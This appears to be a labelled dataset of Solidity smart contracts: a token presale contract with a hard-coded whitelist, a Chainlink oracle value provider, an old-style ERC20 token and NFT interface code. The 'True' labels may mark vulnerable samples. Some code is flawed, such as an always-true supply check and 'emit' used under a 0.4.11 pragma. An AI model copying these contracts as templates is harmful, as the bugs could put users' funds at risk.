return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesnt hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
contract DotsPresale is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
mapping (address => bool) public whitelist;
mapping (address => uint) public ethSupply;
address payable devAddress;
uint public dotsprice = 100;
uint public buyLimit = 3 * 1e18;
bool public presaleStart = false;
bool public onlyWhitelist = true;
uint public presaleLastSupply = 36000 * 1e18;
DotsCoin private dots = DotsCoin(0xB25C23EBF03A4e3a9F5CF12f2f6471599af10491);
event BuyDotsSuccess(address account, uint ethAmount, uint dotsAmount);
constructor(address payable account) {
devAddress = account;
initWhitelist();
}
function addToWhitelist(address account) public onlyOwner {
require(whitelist[account] == false, "This account is already in whitelist.");
whitelist[account] = true;
}
function removeFromWhitelist(address account) public onlyOwner {
require(whitelist[account], "This account is not in whitelist.");
whitelist[account] = false;
}
function setDevAddress(address payable account) public onlyOwner {
devAddress = account;
}
function startPresale() public onlyOwner {
presaleStart = true;
}
function stopPresale() public onlyOwner {
presaleStart = false;
}
function setDotsPrice(uint newPrice) public onlyOwner {
dotsprice = newPrice;
}
function setBuyLimit(uint newLimit) public onlyOwner {
buyLimit = newLimit;
}
function changeToNotOnlyWhitelist() public onlyOwner {
onlyWhitelist = false;
}
modifier needHaveLastSupply() {
require(presaleLastSupply >= 0, "Oh you are so late.");
_;
}
modifier presaleHasStarted() {
require(presaleStart, "Presale has not been started.");
_;
}
receive() payable external presaleHasStarted needHaveLastSupply {
if (onlyWhitelist) {
require(whitelist[msg.sender], "This time is only for people who are in whitelist.");
}
uint ethTotalAmount = ethSupply[msg.sender].add(msg.value);
require(ethTotalAmount <= buyLimit, "Everyone should buy lesser than 3 eth.");
uint dotsAmount = msg.value.mul(dotsprice);
require(dotsAmount <= presaleLastSupply, "insufficient presale supply");
presaleLastSupply = presaleLastSupply.sub(dotsAmount);
dots.mint(msg.sender, dotsAmount);
ethSupply[msg.sender] = ethTotalAmount;
devAddress.transfer(msg.value);
emit BuyDotsSuccess(msg.sender, msg.value, dotsAmount);
}
function initWhitelist() internal {
whitelist[0x899d41EB492Fd478Fec58a8D771132f4F65Ab2a6] = true;
whitelist[0x08fF002500F69f9c5236C25DaBA3ACd5dB906aB7] = true;
whitelist[0x56961a240C0cAca797A2B10511d0e817AfF1bC78] = true;
whitelist[0xe23a2ed622b1666331fbadafEFD4d7a7fd15b7Cc] = true;
whitelist[0x6273CA89C39C8576611B3d6E4737E7814d81AB21] = true;
whitelist[0x88e191cd3587529Bd2E85A31cFdD59575E584389] = true;
whitelist[0x7C106d1b5894c1058de025C6916c590C05d9938E] = true;
whitelist[0xd03f35EB930b1ba9155C1211D14A9ab32F43A7B1] = true;
whitelist[0x50946E16bE370726eb7Bb3b98ADD977887cC8BE2] = true;
whitelist[0x759878ffA1a043064F7b1a46869F7360D0e1bEd0] = true;
whitelist[0xF29680cFb7893CF142C603580604D748A7De6e65] = true;
whitelist[0x9e546839b2570a77078bb41092cc2449db80aD84] = true;
whitelist[0x9C6c1990Be3D3426C57e4d1f7528f405182214dc] = true;
whitelist[0x8b5E270C19eb8f28050a561D0bE08690cc33e73D] = true;
whitelist[0xB0D2311e1E85acdCABA14999B44505a7ab9742D2] = true;
whitelist[0x9e42A7FfaC4d0759fBB52e696F94B7A5Dd2029bb] = true;
whitelist[0xad25EC7e357bDfd9eF25462ac45AaF543EEb34F1] = true;
whitelist[0xFEE0979CA99cd579e83d2715CC4B3345C5AB3dd0] = true;
whitelist[0xc206aCDB23DE552a430aaba4b60FfcfF9A0d1783] = true;
whitelist[0xf40ADdeCDca67bF9e7Cc145Eae607A83B7349540] = true;
whitelist[0xFDBb486082047DE67Fe0cb204602794f3014752a] = true;
whitelist[0x13314af65e830C14624eD4Dc7bA519c5879E14Da] = true;
whitelist[0x42803f3dFFc32073799C69A2CaCF756a0a6E8352] = true;
whitelist[0x356Ad7ad76619dFADd1E948FFcBE966b8b2Fe510] = true;
whitelist[0xDF219a91C6e6eb0506b5d658b0ebB99Aa978195c] = true;
whitelist[0x9558Bcc96070aE574f2A2A81F899f2e967E908aF] = true;
whitelist[0x789a3Dc7D8Bab22C206DF338Be46a4E6C1D3D00c] = true;
whitelist[0x9808E8887e586096228E7Cd05Ef65dFc37926371] = true;
whitelist[0x81314e1aCF7467F8a3f548b337bbb2e37BfA56A1] = true;
whitelist[0x3c5de42f02DebBaA235f7a28E4B992362FfeE0B6] = true;
whitelist[0xcD5d0593c17c40BD2BB857B2dc9F6A3771862D8d] = true;
whitelist[0x0910AEd2f4a4b3E7F399F3d5Cf6EdacA132b83D0] = true;
whitelist[0xe3CD744bCB6C62D0a3AA4Ce6cC620832cA23E18e] = true;
whitelist[0xE32b994a73568f546B0c75F17E51eb655afBF560] = true;
whitelist[0x951895CDeC23078BAA0AE3A246ef0A853091A8BE] = true;
whitelist[0xb4CaA764e2bf087f1a7a0ceC43250892022787d9] = true;
whitelist[0x4c46f9a3Da4F7F2911e29dae334ebCf09101a669] = true;
whitelist[0x9b0726e95e72eB6f305b472828b88D2d2bDD41C7] = true;
whitelist[0x46B8FfC41F26cd896E033942cAF999b78d10c277] = true;
whitelist[0x02D6b1e261D2fD805830E9Ea816a601E3D0fAc30] = true;
whitelist[0x54932039Dd94ABe7FE69b24fb378943DB3f7bCD6] = true;
whitelist[0x4aB1D7676e6B15D8D998e20e09779735F2A18339] = true;
whitelist[0x298374DFAAbDe7b8b8697674b9175f97D309B8e1] = true;
whitelist[0x346d7C121A5089ded561Fed4E7fABBBcffB6406C] = true;
whitelist[0x1953f26d07C4dD57943349EDC87ceDB87cdB1C21] = true;
whitelist[0xBf26925f736E90E1715ce4E04cD9c289dD1bc002] = true;
whitelist[0xDD0DDAd1cA7B57aCAc3E1eD2ceAC6ebC5526431a] = true;
whitelist[0xA5256186c4b823432bFdaC9119CA5efde7De85B5] = true;
whitelist[0x8AcC5677F98b86c407BFA7861f53857430Ba3904] = true;
whitelist[0x5888B4F0a087A32182CE1A726102a830617338e9] = true;
whitelist[0x0Aa12E708785eADe888E239C2CB944c1562663f0] = true;
whitelist[0xAbf84b08F4e9d435abAf7c30F1A1552710828546] = true;
whitelist[0xeA5DcA8cAc9c12Df3AB5908A106c15ff024CB44F] = true;
whitelist[0x387EAf27c966bB6dEE6A0E8bA45ba0854d01Ee32] = true;
whitelist[0x611cA7975f2bA84b1ad930bE8c7425C13350a6f7] = true;
whitelist[0x728f6B5278Eec26f95c9Ed4b87AC2C1d4a1E1024] = true;
whitelist[0x722E895A12d2A11BE99ed69dBc1FEdbB9F3Cd8fe] = true;
whitelist[0x964b5c6d79005B989142455fe4bDA08903c15064] = true;
whitelist[0xa7562fd65AEd77CE637388449c30e82366d50E00] = true;
whitelist[0xf5e03B16b9f63b80b7616E399318C3B46325CC6c] = true;
whitelist[0x2F2588aCd44253312b4A94bF6753bE67514A5Cc6] = true;
whitelist[0x84a1c9d904A7944067B3136DF0E39d96A5194408] = true;
whitelist[0xf5Dc13d635Df266A24f4605bD31C1062bEF383A5] = true;
whitelist[0x8A98f204857734945a50049EFfd22E56FCa7e02F] = true;
whitelist[0xbCC44956d70536bed17C146a4D9E66261BB701DD] = true;
whitelist[0xa4c759bD2084645B93596A827571893A51001a83] = true;
whitelist[0x8C302b1B3ACA30618aD3DEEe2Ce2e6E9e3b1f570] = true;
whitelist[0x6C971d6790C66740f7b5519CDB48BB35e63cEF84] = true;
whitelist[0x88baa8E1555A3CfeB125eF3da3d5E88E633F865D] = true;
whitelist[0x5D9E720a1c16B98ab897165803C4D96E8060b8E4] = true;
whitelist[0xb7fc44237eE35D7b533037cbA2298E54c3d59276] = true;
whitelist[0xD1FDB36024ACa892DAa711fc97a0373Bf918AC7E] = true;
whitelist[0x9CC5426B62801c4838D2E6Df149fA048E22c48FD] = true;
whitelist[0x9DC6A59a9Eee821cE178f0aaBE1880874d48eca1] = true;
whitelist[0x3595c3eDA12e8479F11f5916c2BdF7DD2443F311] = true;
whitelist[0x8dc700fe07c6Fc5ed186b53cD654eB01f8199A2a] = true;
whitelist[0x862182AA0F0C7DdA53a9404bD6290263Dc292e16] = true;
whitelist[0xcB7C51a63110F2669D33cadf593E838e7EdD8007] = true;
whitelist[0xE96E7353fE78AB94D1B43417E21ebC5af985F41A] = true;
whitelist[0x345510F9e3dDa890718EF5C0f9a1BF0D6872C9ce] = true;
whitelist[0x29d6D6D84c9662486198667B5a9fbda3E698b23f] = true;
whitelist[0xb0DC5932E4C277f1eCac227AA629E04B9614c917] = true;
whitelist[0x9bee3465119D4091421EefEEdC66742Dede98c1C] = true;
whitelist[0x8A6c29f7fE583aD69eCD4dA5A6ab49f6c850B148] = true;
whitelist[0x236788c13CFD9788035dfD506C151c605E32e104] = true;
whitelist[0x53b5c15d0423859Fd5DaceB167c984F5Ea3EE59d] = true;
whitelist[0x11ab70777908f7783DcAFFE06052dA539EE7173F] = true;
whitelist[0x5f4B42AE45C1681f5b24eB6aFBd1F0f95d7c8E25] = true;
whitelist[0x61543790F9D85284c16b36c15dAb02Fb975CA38B] = true;
whitelist[0x1f4D088464A0175c8DDb90BC7a510B1d5A0dA1A6] = true;
whitelist[0x5665785813011A5c37c10972f8d3D463441637C3] = true;
whitelist[0x2AAECA94b92BE02856A304cb563BDd22fa5df8ec] = true;
whitelist[0x11414661E194b8b0D7248E789c1d41332904f2bA] = true;
whitelist[0xdAF97a045DADE9D6372f6fdC94c7cd226BbF082E] = true;
whitelist[0x51f4e96aBF315ec7597cB56D89637455eBf60f4e] = true;
whitelist[0x4C21953B59E6ac5Cf4B74d4a6f08f0a7De7384C3] = true;
whitelist[0xDA2e1aBBf7c35BCE835AeeF4fbfc1D6e84Dd8A19] = true;
whitelist[0xd5c0274cE1c6673A25dC176d1Ccb17f78284EE78] = true;
whitelist[0x234061551704283D357012d650005BC430E1606a] = true;
whitelist[0x92cF0388eeEac2e1bf08B51D4b633b9423a27c66] = true;
whitelist[0x4932320615A27AEC2BA14DAdD82b775ddFcae888] = true;
whitelist[0x8F70b3aC45A6896532FB90B992D5B7827bA88d3C] = true;
whitelist[0x7dEf17E1425191a8A3Ca1DC9D014054fDb9AD506] = true;
whitelist[0xf0e220dD99217f874FecBEd7D4e52fceDD03001B] = true;
whitelist[0x312d598f55d932Ca011297D9dbfeC3214778038C] = true;
whitelist[0xD45FcAca001032bcB6DC509b4E0dc97A3351Ca88] = true;
whitelist[0xDAe1d7891781aeeBD26Cb321A666EF140C100A55] = true;
whitelist[0x846b5f543AB494e3b1Fd406E26F6c5d9af6F0f92] = true;
whitelist[0xcf9Bb70b2f1aCCb846e8B0C665a1Ab5D5D35cA05] = true;
whitelist[0x7cc3C48D86920a1F40242F60526e3A5Fa5AB8D2E] = true;
whitelist[0x5fd8Eb9B9958E88698fa64F0e4a418f6C9C563e2] = true;
whitelist[0xdCDdff8D49030238E8c6E3030d2Ef317C55A2FE8] = true;
whitelist[0x2ca3F2385e7B6cCC8eeFa007cA62bcf85DF8e89E] = true;
whitelist[0x76271f3A7F4e7f2C2bFD6b770c9AC779b91746bb] = true;
whitelist[0x870ABcf52d52ECb1Ed00270433138262300BCC6d] = true;
whitelist[0x6AA46c75fAb9672F5689E65eb8AaB5Fe62A2A438] = true;
whitelist[0x72714f174f24951bA5336534A2AB4f223Fb909a3] = true;
whitelist[0xDDAF387Eb685e18D3dF4fe3C281eb7531612CEA9] = true;
whitelist[0x6a8dE4d8782044533D8b8038eD40cc7B3D4a0302] = true;
whitelist[0x4C5C8b499e06EB4ADc839b3a8Aa109757F991A1f] = true;
}
function testMint() public onlyOwner {
dots.mint(address(this), 1);
}
}
/**
*DOTSWAPS . COM - WEBSITE
*DOTSWAPS IS A DUAL TOKEN MODEL SWAPS CONTRACT FOLLOW UP
*DOTSWAPS PRESALE CONTRACT
*/ | True | [
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|
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
interface IOracle {
function value() external view returns (int256, bool);
function update() external returns (bool);
}
/// @notice Emitted when paused
error Pausable__whenNotPaused_paused();
/// @notice Emitted when not paused
error Pausable__whenPaused_notPaused();
/// @title Guarded
/// @notice Mixin implementing an authentication scheme on a method level
abstract contract Guarded {
/// ======== Custom Errors ======== ///
error Guarded__notRoot();
error Guarded__notGranted();
/// ======== Storage ======== ///
/// @notice Wildcard for granting a caller to call every guarded method
bytes32 public constant ANY_SIG = keccak256("ANY_SIG");
/// @notice Wildcard for granting a caller to call every guarded method
address public constant ANY_CALLER =
address(uint160(uint256(bytes32(keccak256("ANY_CALLER")))));
/// @notice Mapping storing who is granted to which method
/// @dev Method Signature => Caller => Bool
mapping(bytes32 => mapping(address => bool)) private _canCall;
/// ======== Events ======== ///
event AllowCaller(bytes32 sig, address who);
event BlockCaller(bytes32 sig, address who);
constructor() {
// set root
_setRoot(msg.sender);
}
/// ======== Auth ======== ///
modifier callerIsRoot() {
if (_canCall[ANY_SIG][msg.sender]) {
_;
} else revert Guarded__notRoot();
}
modifier checkCaller() {
if (canCall(msg.sig, msg.sender)) {
_;
} else revert Guarded__notGranted();
}
/// @notice Grant the right to call method `sig` to `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should be able to call `sig`
function allowCaller(bytes32 sig_, address who_) public callerIsRoot {
_canCall[sig_][who_] = true;
emit AllowCaller(sig_, who_);
}
/// @notice Revoke the right to call method `sig` from `who`
/// @dev Only the root user (granted `ANY_SIG`) is able to call this method
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should not be able to call `sig` anymore
function blockCaller(bytes32 sig_, address who_) public callerIsRoot {
_canCall[sig_][who_] = false;
emit BlockCaller(sig_, who_);
}
/// @notice Returns if `who` can call `sig`
/// @param sig_ Method signature (4Byte)
/// @param who_ Address of who should be able to call `sig`
function canCall(bytes32 sig_, address who_) public view returns (bool) {
return (_canCall[sig_][who_] ||
_canCall[ANY_SIG][who_] ||
_canCall[sig_][ANY_CALLER]);
}
/// @notice Sets the root user (granted `ANY_SIG`)
/// @param root_ Address of who should be set as root
function _setRoot(address root_) internal {
_canCall[ANY_SIG][root_] = true;
emit AllowCaller(ANY_SIG, root_);
}
}
contract Pausable is Guarded {
event Paused(address who);
event Unpaused(address who);
bool private _paused;
function paused() public view virtual returns (bool) {
return _paused;
}
modifier whenNotPaused() {
// If the contract is paused, throw an error
if (_paused) {
revert Pausable__whenNotPaused_paused();
}
_;
}
modifier whenPaused() {
// If the contract is not paused, throw an error
if (_paused == false) {
revert Pausable__whenPaused_notPaused();
}
_;
}
function _pause() internal whenNotPaused {
_paused = true;
emit Paused(msg.sender);
}
function _unpause() internal whenPaused {
_paused = false;
emit Unpaused(msg.sender);
}
}
abstract contract Oracle is Pausable, IOracle {
/// @notice Emitted when a method is reentered
error Oracle__nonReentrant();
/// ======== Events ======== ///
event ValueInvalid();
event ValueUpdated(int256 currentValue, int256 nextValue);
event OracleReset();
/// ======== Storage ======== ///
// Time interval between the value updates
uint256 public immutable timeUpdateWindow;
// Timestamp of the current value
uint256 public lastTimestamp;
// The next value that will replace the current value once the timeUpdateWindow has passed
int256 public nextValue;
// Current value that will be returned by the Oracle
int256 private _currentValue;
// Flag that tells if the value provider returned successfully
bool private _validReturnedValue;
// Reentrancy constants
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
// Reentrancy guard flag
uint256 private _reentrantGuard = _NOT_ENTERED;
/// ======== Modifiers ======== ///
modifier nonReentrant() {
// Check if the guard is set
if (_reentrantGuard != _NOT_ENTERED) {
revert Oracle__nonReentrant();
}
// Set the guard
_reentrantGuard = _ENTERED;
// Allow execution
_;
// Reset the guard
_reentrantGuard = _NOT_ENTERED;
}
constructor(uint256 timeUpdateWindow_) {
timeUpdateWindow = timeUpdateWindow_;
_validReturnedValue = false;
}
/// @notice Get the current value of the oracle
/// @return The current value of the oracle
/// @return Whether the value is valid
function value()
public
view
override(IOracle)
whenNotPaused
returns (int256, bool)
{
// Value is considered valid if the value provider successfully returned a value
return (_currentValue, _validReturnedValue);
}
function getValue() external virtual returns (int256);
function update()
public
override(IOracle)
checkCaller
nonReentrant
returns (bool)
{
// Not enough time has passed since the last update
if (lastTimestamp + timeUpdateWindow > block.timestamp) {
// Exit early if no update is needed
return false;
}
// Oracle update should not fail even if the value provider fails to return a value
try this.getValue() returns (int256 returnedValue) {
// Update the value using an exponential moving average
if (_currentValue == 0) {
// First update takes the current value
nextValue = returnedValue;
_currentValue = nextValue;
} else {
// Update the current value with the next value
_currentValue = nextValue;
// Set the returnedValue as the next value
nextValue = returnedValue;
}
// Save when the value was last updated
lastTimestamp = block.timestamp;
_validReturnedValue = true;
emit ValueUpdated(_currentValue, nextValue);
return true;
} catch {
// When a value provider fails, we update the valid flag which will
// invalidate the value instantly
_validReturnedValue = false;
emit ValueInvalid();
}
return false;
}
function pause() public checkCaller {
_pause();
}
function unpause() public checkCaller {
_unpause();
}
function reset() public whenPaused checkCaller {
_currentValue = 0;
nextValue = 0;
lastTimestamp = 0;
_validReturnedValue = false;
emit OracleReset();
}
}
contract Convert {
function convert(
int256 x_,
uint256 currentPrecision_,
uint256 targetPrecision_
) internal pure returns (int256) {
if (targetPrecision_ > currentPrecision_)
return x_ * int256(10**(targetPrecision_ - currentPrecision_));
return x_ / int256(10**(currentPrecision_ - targetPrecision_));
}
function uconvert(
uint256 x_,
uint256 currentPrecision_,
uint256 targetPrecision_
) internal pure returns (uint256) {
if (targetPrecision_ > currentPrecision_)
return x_ * 10**(targetPrecision_ - currentPrecision_);
return x_ / 10**(currentPrecision_ - targetPrecision_);
}
}
// Chainlink Aggregator v3 interface
// https://github.com/smartcontractkit/chainlink/blob/6fea3ccd275466e082a22be690dbaf1609f19dce/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol
interface IChainlinkAggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract ChainlinkValueProvider is Oracle, Convert {
uint8 public immutable underlierDecimals;
address public chainlinkAggregatorAddress;
/// @notice Constructs the Value provider contracts with the needed Chainlink.
/// @param timeUpdateWindow_ Minimum time between updates of the value
/// @param chainlinkAggregatorAddress_ Address of the deployed chainlink aggregator contract.
constructor(
// Oracle parameters
uint256 timeUpdateWindow_,
// Chainlink specific parameter
address chainlinkAggregatorAddress_
) Oracle(timeUpdateWindow_) {
chainlinkAggregatorAddress = chainlinkAggregatorAddress_;
underlierDecimals = IChainlinkAggregatorV3Interface(
chainlinkAggregatorAddress_
).decimals();
}
/// @notice Retrieves the price from the chainlink aggregator
/// @return result The result as an signed 59.18-decimal fixed-point number.
function getValue() external view override(Oracle) returns (int256) {
// Convert the annual rate to 1e18 precision.
(, int256 answer, , , ) = IChainlinkAggregatorV3Interface(
chainlinkAggregatorAddress
).latestRoundData();
return convert(answer, underlierDecimals, 18);
}
/// @notice returns the description of the chainlink aggregator the proxy points to.
function description() external view returns (string memory) {
return
IChainlinkAggregatorV3Interface(chainlinkAggregatorAddress)
.description();
}
}
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|
pragma solidity ^0.4.11;
contract GodeCoin {
string public name = "GodeCoin"; // token name
string public symbol = "GODE"; // token symbol
uint256 public decimals = 6; // token digit
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public totalSupply = 0;
bool public stopped = false;
uint256 constant valueFounder = 122345666777000000;
address owner = 0x0;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert (!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
function GodeCoin(address _addressFounder) public {
owner = msg.sender;
totalSupply = valueFounder;
balanceOf[_addressFounder] = valueFounder;
emit Transfer(0x0, _addressFounder, valueFounder);
}
function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function stop() public isOwner {
stopped = true;
}
function start() public isOwner {
stopped = false;
}
function setName(string _name) public isOwner {
name = _name;
}
function burn(uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[0x0] += _value;
emit Transfer(msg.sender, 0x0, _value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | True | [
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// File: TeddiesFriends.sol
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
